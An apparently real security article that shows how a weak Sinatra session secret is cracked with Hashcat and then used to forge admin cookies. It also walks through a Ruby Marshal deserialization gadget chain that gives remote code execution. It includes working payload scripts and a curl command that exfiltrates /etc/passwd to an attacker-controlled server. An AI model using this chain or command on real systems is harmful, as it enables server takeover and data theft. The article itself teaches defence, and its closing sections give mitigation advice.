One Line of Code that Compromises Your Server

The dangers of a simplistic session secret

A session secret is a key used for encrypting cookies. Application developers often set it to a weak key during development, and don't fix it during production. This article explains how such a weak key can be cracked, and how that cracked key can be used to gain control of the server that hosts the application. We can prevent this by using strong keys and careful key management. Library authors should encourage this with tools and documentation.

03 April 2017

Photo of Jack Singleton

Jack Singleton is a developer and security specialist at ThoughtWorks. His current focus is on helping delivery teams incorporate proactive security practices, in order to build software that is secure from the start.

Find similar articles at the tag: security

I was recently taking a quick look at a small Ruby web application built on Sinatra. As I scanned through the configuration code I came across this line:

set :session_secret, 'super secret'

Uh oh. Chances are the string 'super secret' isn't actually that much of a secret.

Even though it is quite obvious that this is a mistake when I pull that line out alone in a post about the importance of secrets, it's an extremely common type of mistake to make. It's easy to do. After all, it's just one line of code among many, and once it was written there was likely little reason to revisit that part of the code again.

What's more, it's a mistake that has no immediate impact for either users or developers. The app still works fine, sessions still hold state, deployments continue without a hitch.

An attacker, however, could likely use this flaw to log in as any user in the system, and even gain shell access to the server it’s running on.

Let’s explore how that is possible, tracing through the steps an attacker could take.

But first, what exactly is this session secret?

What is a session secret?

The session secret is a key used for signing and/or encrypting cookies set by the application to maintain session state.

In practice, this is often what prevents users from pretending to be someone they’re not -- ensuring that random person on the internet cannot access your application as an administrator.

Cookies are the most common way for web applications to persist state (like the currently logged in user) across distinct HTTP requests. To achieve this, web browsers will hang on to pieces of information that a web server wants to remember, dutifully sending it back with each subsequent request to remind the server that, for example, we are still logged in -- and possibly also that we are or are not an admin.

But because these cookies are stored by the web browser (the client), the web server doesn't actually know that the cookies it receives from the client are legitimate. This guarantee is not provided by the cookie spec, which states:

A malicious client could alter the Cookie header before transmission, with unpredictable results

Well that sounds bad. Later on, the spec gives us some advice:

Servers SHOULD encrypt and sign the contents of cookies (using whatever format the server desires) when transmitting them to the user agent

This advice wasn’t exactly followed, and web frameworks are just now starting to encrypt cookies by default. Sinatra (and the lower level framework, Rack) do, however, sign cookies by default. This means that while clients can read the contents of a cookie, they shouldn't be able to change the value in any way.

Many other frameworks offer functionality to do the same thing. For example, Node/Express has a secret parameter, Python/Django has a SECRET_KEY parameter, and Java/Play has a crypto.secret parameter. While they may use slightly different algorithms under the hood, the basic functionality is the same and they are prone to the same attacks I'm about to describe in the context of Ruby/Sinatra.

Looking at the Rack code around cookie management we see:

class Rack::Session::Cookie

  def write_session(req, session_id, session, options)
    session = session.merge("session_id" => session_id)
    session_data = coder.encode(session)
    if @secrets.first
      session_data << "--#{generate_hmac(session_data, @secrets.first)}"
    # …


  def generate_hmac(data, secret)
    OpenSSL::HMAC.hexdigest(, secret, data)


  def initialize(app, options={})
    @secrets = options.values_at(:secret, :old_secret).compact
    @hmac = options.fetch(:hmac, OpenSSL::Digest::SHA1)
    # …


Rack will first encode the session data in some way, then (in its default configuration) use OpenSSL to generate the HMAC-SHA1 of the session secret and the session data, and append that HMAC to the encoded session data separated by '--'.

In math-y terms, the application returns a cookie value of (data, hmac) where hmac = hmac-sha1(secret, data)

By making a request to our application, we can see the result:

$ curl -v
< Set-Cookie:
path=/; HttpOnly

So if we know that:

data = BAh...%0A


hmac = b64...1a6

Then in order to tamper with the session data, we need to find a secret where

hmac-sha1(secret, BAh...%0A) = b64...1a6

By design, there is no way to mathematically calculate secret in this equation. In order to find it, we'll just have to keep guessing until we find the right value...

How to crack a weak session secret

So “super secret” isn't cryptographically secure random data... but would an attacker really be able to take advantage of this without access to the source code?

While SHA1 isn't reversible, it is, unfortunately in this case, extremely fast (as a general purpose hash function, it was designed to be). This isn't a problem if the secret is suitably long cryptographically secure random data, but “super secret” definitely isn't. Let's see how long it would take an attacker to guess it.

Instead of making completely random guesses resulting in a brute force attack, we can try our luck at a dictionary attack. The dictionary attack gets it's name from trying every word in a dictionary, but in reality the dictionary is only the start. Taylor Hornby writes this about his CrackStation list:

The list contains every wordlist, dictionary, and password database leak that I could find on the internet (and I spent a LOT of time looking). It also contains every word in the Wikipedia databases (pages-articles, retrieved 2010, all languages) as well as lots of books from Project Gutenberg. It also includes the passwords from some low-profile database breaches that were being sold in the underground years ago.

-- Taylor Hornby

Wow, that sounds like a lot of data. The full CrackStation list contains almost 1.5 billion entries in a single 15 gigabyte file.

SHA1 is fast, but with that much data, let's make sure we're calculating those hashes as fast as possible. Hashcat is a program to do exactly that. Written in highly optimized C, and taking advantage of both CPUs and GPUs, Hashcat will fly through SHA1. The GPU support is key as GPU's can compute hashes much faster than CPU's can. My laptop doesn't have a GPU, but it would be a shame not to take advantage of this support...

At the end of 2013 Amazon launched GPU instances as part of it's EC2 offering. For just $2.60 an hour, we can rent a g2.8xlarge instance with:

  • 4 GPUs
  • 32 vCPUs
  • 60G of memory

With the CrackStation wordlist, Hashcat, and our giant EC2 instance, we have a fairly respectable hashing setup for very little effort and astonishingly little cost.

The dictionary attack

Let's try this out with some sample data:


  require 'base64'
  require 'openssl'
  key = 'super secret'
  cookie_data = 'test'
  cookie = Base64.strict_encode64(Marshal.dump(cookie_data)).chomp
  digest = OpenSSL::HMAC.hexdigest('SHA1'), key, cookie)

$ ruby gen-cookie.rb 

Hashcat is mainly designed for cracking password hashes, which often include a password and a salt instead of data and key. But as people sometimes use HMAC-SHA1 in password storage schemes, it is supported by the program. Pretending that our session data is a password salt, we convert our cookie value into the "hash:salt" format that Hashcat expects:

$ echo '8c5ae09ed57f1e933cc466f5b99ea636d1fc31a2:BAhJIgl0ZXN0BjoGRVQ=' > hashes 

And then run Hashcat with our new one-line hashes file, the crackstation wordlist, and the '-m150' option, telling it to use HMAC-SHA1 (the full list of supported algorithms can be seen by typing 'hashcat -h'):

$ hashcat -m150 hashes ~/wordlists/crackstation.txt
8c5ae09ed57f1e933cc466f5b99ea636d1fc31a2:BAhJIgl0ZXN0BjoGRVQ=:super secret
Session.Name...: hashcat
Status.........: Cracked
Input.Mode.....: File (/home/ec2-user/wordlists/crackstation.txt)
Hash.Target....: 8c5ae09ed57f1e933cc466f5b99ea636d1fc31a2:...
Hash.Type......: HMAC-SHA1 (key = $pass)
Time.Started...: Wed Aug 17 21:45:08 2016 (43 secs)
Speed.Dev.#1...: 6019.4 kH/s (12.95ms)
Speed.Dev.#2...: 5714.5 kH/s (13.04ms)
Speed.Dev.#3...: 5626.1 kH/s (13.20ms)
Speed.Dev.#4...: 6096.9 kH/s (13.24ms)
Speed.Dev.#*...: 23456.9 kH/s
Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.......: 1021407839/1196843344 (85.34%)
Rejected.......: 6826591/1021407839 (0.67%)
Restore.Point..: 1017123528/1196843344 (84.98%)
Started: Wed Aug 17 21:45:08 2016
Stopped: Wed Aug 17 21:46:04 2016

Wow! In just 43 seconds we blasted through over a billion hashes and, 85.34% of the way through the list, correctly guessed 'super secret'.


There is unfortunately (or fortunately?) a caveat with using Hashcat in this way: as it's really designed for use with passwords, and password salts tend to be quite short, it doesn't accept "salts" longer than 55 characters, which rack session data will usually surpass.

However, this doesn't mean though that other programs, or even custom software, won't be able to handle longer payloads.


This experiment clearly shows that dictionary attacks against Rack session secrets are well within the realm of possibility. A session secret that is not sufficiently cryptographically random can be guessed with fairly little time, effort and resources.

This attack is not limited to Rack secrets, and many web frameworks require a session secret in their default configuration in order to operate securely. These all work very similarly to our :session_secret, and can also be guessed in a similar ways.

Next, let’s explore the harm an attacker could cause after guessing this secret.

Taking control of the application

So now we have a session secret... what does that win us? The first and most obvious thing to do is to attempt to spoof an administrator's session.

The application has a /manage path that should only be accessed by admins. Requesting it without a cookie simply redirects us to a login page:

$ curl -v
* Hostname was NOT found in DNS cache
* Trying
* Connected to ( port 9494 (#0)
> GET /manage HTTP/1.1
> User-Agent: curl/7.35.0
> Host:
> Accept: */*
< HTTP/1.1 302 Found
< Location:

Okay, but now we know the session secret, we can create a cookie with any value we want and the application will trust it.

Let’s create a cookie with some common admin flags set to true, signed with HMAC-SHA1 using the key ‘super secret’, and send it to the web server to see if it’s accepted:


  require 'base64'
  require 'openssl'
  key = 'super secret'
  cookie_data = {
    :authorized => true,
    :authorised => true,
    :admin => true,
    :loggedin => true
  cookie = Base64.strict_encode64(Marshal.dump(cookie_data)).chomp
  digest = OpenSSL::HMAC.hexdigest('SHA1'), key, cookie)

running this…

$ curl -v --cookie "rack.session=$(ruby gen-cookie-2.rb)"
* Hostname was NOT found in DNS cache
* Trying
* Connected to ( port 9494 (#0)
> GET /manage HTTP/1.1
> User-Agent: curl/7.35.0
> Host:
> Accept: */*
> Cookie: rack.session=BAh7CToPYXV0aG9yaXNlZFQ6D2F1dGhvcml6ZWRUOgphZG1pblQ6DWxvZ2dlZGluVA==--a3b1d4402b7345022f50a82671c17fa2b3b174e3
< HTTP/1.1 200 OK
< Content-Type: text/html;charset=utf-8
< Content-Length: 2746

200 OK! In this case, the application was looking for the "authorised" flag to be set. It's also very common to see apps use an "admin" flag. Sometimes it's a user id instead of a simple flag, in which case you can try low values like 0 or 1 — these will often be the administrators.


Any administration functionality exposed by the application could be accessed by the attacker. In addition, they could likely also impersonate any other user of your application. Large amounts of sensitive data would likely be exposed, and any dangerous admin-only functions would likely be abused.

Sadly, the story doesn’t stop here. In the next section, we’ll show how an attacker could use this to escalate to remote code execution with no additional vulnerabilities.

Taking control of the server

At this point we have achieved control over the app... but we can actually take this further to gain control of the server.

If we go back to the cookie handling code in Rack, we see the following methods for encoding and decoding cookies:

class Rack::Session::Cookie…

  def initialize
    # snip… 
    @coder = options[:coder] ||=
    # …


  # Encode session cookies as Marshaled Base64 data
  class Marshal < Base64
    def encode(str)
    def decode(str)
      return unless str
      ::Marshal.load(super(str)) rescue nil


By default Rack uses Marshal.dump and Marshal.load to serialize and deserialize data. This is convenient for developers, as it allows saving arbitrary Ruby objects in the session, but unfortunately, it also means that attackers can abuse this functionality to trick the application into executing arbitrary code by instantiating objects with cleverly chosen values.

This is possible using a technique that Stefan Esser dubbed property oriented programming in the context of PHP unserialize() vulnerabilities back in 2010.

When we control the input to either PHP's unserialize() or Ruby's Marshal.load() we can tell the app to load any class that we want, along with any properties that we want. Neither Ruby nor PHP allow serializing code, so the trick is to choose classes and property values that, when interacted with as usual by the application, will end up executing the code of our choosing.

In our case the first thing that Rack does with the de-serialized session data is an array lookup:

class Rack::Session::Cookie…

  def extract_session_id(request)


So how do we turn a simple array lookup into something interesting?

In 2013 Charlie Somerville found a magical class in the Rails ActiveSupport gem called DeprecationProxy. Even though the app in question was built on Sinatra, it pulled in ActiveSupport as a dependency.

DeprecationProxy is magical because it has two things that are really useful to us... a method_missing method, and a call to .__send__() that we can completely control.

The method_missing means that any call, including our session_id lookup, will trigger the code path we want:

class ActiveSupport::Deprecation::DeprecationProxy

  def method_missing(called, *args, &block)
    warn caller_locations, called, args
    target.__send__(called, *args, &block)


Ignore the __send__ call above, the call we're interested in happens before that even executes, in the target method:

class ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy

  def target


Wow! Because both @instance and @method are instance variables, we can control their values after de-serialization, allowing us to call any method on any object (as long as the method can be called without parameters).

What method should we execute? On Rails apps we can create an ERB template, but this application is using Sinatra with Slim templates, and doesn't pull in ERB.

Luckily, I found the Temple::ERB::Template class in the Temple library that Slim is built on.

  module Temple
    # ERB example implementation
    # Example usage:
    # { "<%= 'Hello, world!' %>" }.render
    module ERB
      # ERB Template class
      Template = Temple::Templates::Tilt(Engine)


This class acts just like a Rails ERB template, and lets us serialize a string that, when render is called, will be eval'd by the template.

Executing a command on the server

Okay, let's put it all together:


  require 'base64'
  require 'openssl'
  require 'temple'
  @key = 'super secret'
  @payload = ARGV.join ' '
  def gen_cookie_with_digest(cookie_data)
    cookie = Base64.strict_encode64(Marshal.dump(cookie_data)).chomp
    digest = OpenSSL::HMAC.hexdigest('SHA1'), @key, cookie)
  class ActiveSupport
    class Deprecation
      class DeprecatedInstanceVariableProxy
        def initialize(i, m)
          @instance = i
          @method = m
  erb = { "<% #{@payload} %>" }
  cookie_data = erb, :render
  puts gen_cookie_with_digest(cookie_data)

But when we run it...

$ ruby gen-cookie-rce.rb
gen-cookie-rce.rb:14:in `dump': no _dump_data is defined for class Proc (TypeError)
from gen-cookie-rce.rb:14:in `gen_cookie_with_digest'
from gen-cookie-rce.rb:41:in `<main>

Hmm, a Proc is code, so can't be serialized... but our payload is a string. Where is that Proc coming from?

$ irb
2.2.2 :001 > require 'temple'
=> true
2.2.2 :002 > t = { "<% puts 'test' %>" }
=> #<Temple::ERB::Template:0x000000010ced00 @options={}, @line=1, @file=nil,
@compiled_method={}, @default_encoding=nil, @reader=<Proc:0x000000010cecd8@(irb):2>,
@data="<% puts 'test' %>", @src="_buf = []; puts 'test' ; _buf << (\"\".freeze);
_buf = _buf.join"

Okay, Template gets initialized with a Proc for the @reader instance variable... but we can change that. While we're at it, let's set the @src property directly too:

2.2.2 :010 > t = { "" }
=> #<Temple::ERB::Template:0x0000000117e8e0 @options={}, @line=1,
@file=nil, @compiled_method={}, @default_encoding=nil,
@reader=#<Proc:0x0000000117e890@(irb):10>, @data="", @src="_buf = \"\"">
2.2.2 :011 > t.instance_variable_set(:@reader, nil)
=> nil

2.2.2 :012 > t.instance_variable_set(:@src, "puts 'test'")
=> "puts 'test'"

2.2.2 :013 > Marshal.dump(t)
=> "\x04\bo:\x1ATemple::ERB::Template\r:\r@options{\x00:\n@linei\x06:\n@file0:
\x00\x06:\x06ET:\t@srcI\"\x10puts 'test'\x06;\rT"
2.2.2 :014 > Marshal.load(Marshal.dump(t)).render

Looks good.

After updating our script:


  erb = { "" }
  erb.instance_variable_set :@reader, nil
  erb.instance_variable_set :@src, @payload

We can now generate payloads successfully:

$ ruby gen-cookie-rce.rb 'puts test'

While we could try to print a line on the remote server too, we likely won't see the output in the response we get back. So how can we tell if we've been successful?

A common strategy when testing 'blind' like this is to execute a sleep or wait for a few seconds. If the server hangs for a while when we do so, we know we're able to execute commands.

Let's use backticks to shell out from Ruby and execute the sleep command:

$ curl -v --cookie "rack.session=$(ruby gen-cookie-rce.rb '`sleep 2`')"
* Hostname was NOT found in DNS cache
* Trying
* Connected to ( port 9494 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.35.0
> Host:
> Accept: */*
> Cookie: rack.session=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRl
< HTTP/1.1 500 Internal Server Error
< Content-Type: text/plain
< Content-Length: 6435
* Server WEBrick/1.3.1 (Ruby/2.2.2/2015-04-13) is not blacklisted
< Server: WEBrick/1.3.1 (Ruby/2.2.2/2015-04-13)
< Date: Fri, 19 Aug 2016 00:13:43 GMT
< Connection: Keep-Alive
NoMethodError: private method `warn' called for nil:NilClass
/home/vagrant/.rvm/gems/ruby-2.2.2/gems/activesupport-4.2.4/lib/active_support/deprecation/proxy_wrappers.rb:92:in `warn'
/home/vagrant/.rvm/gems/ruby-2.2.2/gems/activesupport-4.2.4/lib/active_support/deprecation/proxy_wrappers.rb:23:in `method_missing'

Ah. If we take a look at the warn method the stacktrace is pointing us to, we see what is happening:

class DeprecatedInstanceVariableProxy…

  def warn(callstack, called, args)
      "#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}",


warn wants to call @deprecator.warn(), but we haven't specified any value for the field, so it's left as nil.

I had a look around for classes defining warn methods and found Bundler::UI::Silent:

class Bundler::UI::Silent…

  def warn(message, newline = nil)


So we add a silent logger to our proxy:


  class DeprecatedInstanceVariableProxy
    def initialize(i, m)
      @instance = i
      @method = m
      @deprecator =

And trying again:

$ curl -v --cookie "rack.session=$(ruby ./gen-cookie-rce.rb '`sleep 2`')"
* Hostname was NOT found in DNS cache
* Trying
* Connected to ( port 9494 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.35.0
> Host:
> Accept: */*
> Cookie: rack.session=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6R

I waited for 6 seconds then…

< HTTP/1.1 500 Internal Server Error 
< Content-Type: text/plain
< Content-Length: 6298
* Server WEBrick/1.3.1 (Ruby/2.2.2/2015-04-13) is not blacklisted
< Server: WEBrick/1.3.1 (Ruby/2.2.2/2015-04-13)
< Date: Fri, 19 Aug 2016 00:13:43 GMT
< Connection: Keep-Alive
IndexError: string not matched
        /home/vagrant/.rvm/gems/ruby-2.2.2/gems/activesupport-4.2.4/lib/active_support/deprecation/proxy_wrappers.rb:24:in `[]='
        /home/vagrant/.rvm/gems/ruby-2.2.2/gems/activesupport-4.2.4/lib/active_support/deprecation/proxy_wrappers.rb:24:in `method_missing'

Wohoo! That wait was pretty long... it turns out our command is being executed three times. But one time or three, a shell is a shell.

You can also see that we still got an error back from the app, but we don't care about that as our command has already executed.

Getting data from the server

A shell is a shell? Well not quite. Right now we can execute a command, but we can't even see the result. However, we can get around this trivially by sending data over to a webserver we control.

First, we set up a simple python http server on a box with a publicly routable IP:

$ cd $(mktemp -d)
$ python3 -mhttp.server
Serving HTTP on port 8000 ...

Then see if we can call curl on the compromised host:

$ curl -v --cookie "rack.session=$(ruby gen-cookie-rce.rb '`curl http://our-python-server:8000`')"

And switching back to our python server: - - [18/Aug/2016 17:40:47] "GET / HTTP/1.1" 200 - - - [18/Aug/2016 17:40:47] "GET / HTTP/1.1" 200 - - - [18/Aug/2016 17:40:48] "GET / HTTP/1.1" 200 -

Nice. Can we include some actual data?

$ curl -v --cookie "rack.session=$(ruby gen-cookie-rce.rb '`curl http://our-python-server:8000?$(cat /etc/passwd | base64 -w0)`')" - - [18/Aug/2016 17:50:26] "GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 - - - [18/Aug/2016 17:50:27] "GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 - - - [18/Aug/2016 17:50:28] "GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -

$ echo cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo= | base64 -d


In this example we are only exfiltrating the /etc/passwd file from the server. This actually isn’t because the passwd file is particularly sensitive -- it’s usually not -- but because it’s generally a world readable file that exists on every linux server. We’re just proving that we can execute arbitrary commands and read the result.

From here, an attacker would likely first determine what external systems the application has access to. Databases, internal web services, and backup systems can all be valuable targets.

They would then use the same information and credentials that the application uses to explore these services. For example, the database that the application is using could contain valuable data such as username/password information, PII, and credit card information.

Again, these types of attacks are not Rack or Ruby specific. Deserialization is a complex task, and can often be exploited when untrusted data is accepted. Such a vulnerability was found in the (Java) Apache Commons Collections library in 2015, affecting products such as WebLogic, WebSphere, JBoss, and Jenkins. However, frameworks that do not use object serialization are less susceptible to attacks like this. For example, with the 4.1 release Rails switched the default serialization mechanism from Marshal to JSON, mitigating the RCE portion of this attack and limiting the damange to forged sessions.


We've demonstrated how an attacker could feasibly gain full shell access to a web server due to a single (though critical) line of configuration code. Now, what can we do to prevent this type of vulnerability from happening again?

For application developers

The first step is awareness. One of the secure delivery principles we highlight in AppSec101 (ThoughtWorks’ application security training course) is "Keep Secrets Secret". It sounds obvious, but is more difficult than it sounds. A lot of time is spent creating secret management tools and strategies, some of which are discussed by Daniel Somerfield in his AppSecUSA talk "Turtles All the Way Down: Storing Secrets in the Cloud and the Data Center". In particular, Hashicorp Vault is a promising secret management server with good support for account management and auditing. It can take some work to set up however, and simple solutions are still much better than nothing at all. Sensitive configuration values can be specified as environment variables at application start time, and provided to CI tools as protected fields. Jetbrains TeamCity, for example, supports hidden password parameters. For long term storage, password managers like 1Password and pass have functionality to enable teams to securely store and share secrets. Email, IMs, wikis, and sticky notes have no place in our secret management strategy!

What should we have done instead of copying and pasting ‘super secret’ then?

Before starting down this path, if you have any security specialists available to help you, you should ask them. Decisions about key generation and management are largely dependent on your situation and the level of security required by your organization and application. Don’t be afraid to ask for help!

But in case you don’t have a specialist to talk to, here are some simple steps we can take to get an application up and running.

We need to generate the key using a Cryptographically Secure Pseudo Random Number Generator, or CSPRNG. We can do this on unix systems by reading data from /dev/urandom and encoding with base64 so that we end up with printable ASCII characters:

$ head -c20 /dev/urandom | base64

Here we are generating a 20 byte, or 160 bit key. What key size you should be using is a great question for your security specialist. I’m choosing 20 bytes because that is how long SHA-1 is, and having a longer secret isn’t going to help us. If we thought that 160 bits was not secure enough, we would need to replace SHA-1 as well as increasing the length of the session secret.

Next, instead of adding this secret to the source code, we’ll reference it dynamically through an environment variable.

set :session_secret, ENV.fetch('SESSION_SECRET') { SecureRandom.hex(20) } 

This will try to pull the session secret in from an environment variable, and just in case we forget to specify one, will generate it dynamically when the environment variable is missing.

Finally, we must specify this environment variable when the application starts up:

SESSION_SECRET=’Xe005osOAE8ZRMDReizQJjlLrrs=’ ruby sinatra-app.rb -p 8080 

If you’re wondering where to keep the secret in order to specify it when starting up the app, then you’ve hit the ‘turtles all the way down’ problem and should check out Daniel’s talk. There are a number of different strategies depending on your level of automation, maturity of your operations team, and required level of security. If you just need to get something in place quickly, consider setting up a team password manager like 1Password Teams, Dashlane Business, or pass

Alternatively, instead of storing session data on the client and using a session secret to ensure its integrity, we could have used Rack::Session::Pool to store the data on the server and associate it with a specific clients using a random session identifier stored in a cookie. This strategy eliminates the need for a secret in this case, but keep in mind that almost every application will have secrets that need to be managed properly. Database passwords, API keys, TLS private keys, and any other cryptographic tokens can all be catastrophic if leaked or generated insecurely -- so it's probably worth thinking about your secret management strategy anyway. You can read more about secure session management using random session identifiers in this article on The Basics of Web Application Security.

For library and framework authors

Ideally, this attitude would spread beyond delivery teams and into frameworks and libraries as well. Rails, for example, has done a good job in recent years of emphasizing the importance of secret management in its generated configuration file:

file config/secrets.yml…

  # [snip]
  # Make sure the secret is at least 30 characters and all random,
  # no regular words or you'll be exposed to dictionary attacks.
  # You can use `rails secret` to generate a secure secret key.
  # [snip]
  # Do not keep production secrets in the repository,
  # instead read values from the environment.
  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>]]></pre>

Unfortunately, at the time I discovered this vulnerability, Sinatra was not so clear in their documentation:

Figure 1

First, there is no indication how to generate a value to use in place of 'super secret'. How long should it be? Are two dictionary words "random" enough? The example only has two words, so that would make sense. Once we have a secret, should it be checked into source control? The rest of this configuration file is, so that must be the thing to do.

You may also remember from the beginning of this article that this example from the documentation is exactly what we found in our application. While copying and pasting code like this and using it without question is definitely a bad practice, it's easy to imagine ways this slipped through the cracks. Maybe the developer added the line quickly to pass a test, meaning to go back later and change it, but forgot because everything was "green". Maybe they went off to research how to generate the correct key when a high priority production issue was discovered and needed immediate attention.

If the Sinatra examples had showed using environment variables for secrets and clearly described a secure method for secret generation, I likely wouldn't be writing this.

Lastly, there are some code design choices that could have been made in Sinatra and Rack that could have prevented this from occurring. Sinatra could add validation to :session_secret, checking that it is, say, 64 bytes of hex-encoded data. Doing so would make it a lot more difficult to mistakenly set a value that is too weak. On Rack's side of things, while being able to serialize and deserialize native Ruby objects is convenient, it's a strategy that has been shown to be insecure. It violates the secure development principle "Separation of Data and Code," giving attackers an opportunity to change code paths in unexpected ways by manipulating input data. Even though the cookie data is supposed to be trusted, the principle of "Defense in Depth" encourages us to consider attackers that have already managed to bypass some of our mitigations.


In the end, the good news is that there are many places where this issue could have been prevented.

Application developers can keep basic security Awareness in mind, and help to create a culture that takes security seriously. One of the key principles to keep in mind is Keeping Secrets Secret. Generating secrets using a cryptographically secure random number generator and developing a secret management strategy will help us achieve this.

Library and framework authors can include examples and initial settings that are Secure by Default, and follow secure development guidelines like Separation of Data and Code and Defense in Depth.

In fact, Sinatra now recommends including the session secret from an environment variable, and provide clear instructions on how to generate the key safely. Thanks @zzak and @grempe!

Hopefully as our industry continues to become more aware of the impacts of software vulnerabilities we will continue to see more proactive controls like these put into practice.

if you found this article useful, please share it. I appreciate the feedback and encouragement

For articles on similar topics…

…take a look at the tag: security

Significant Revisions

03 April 2017: Published the rest of the article

30 March 2017: Published first installment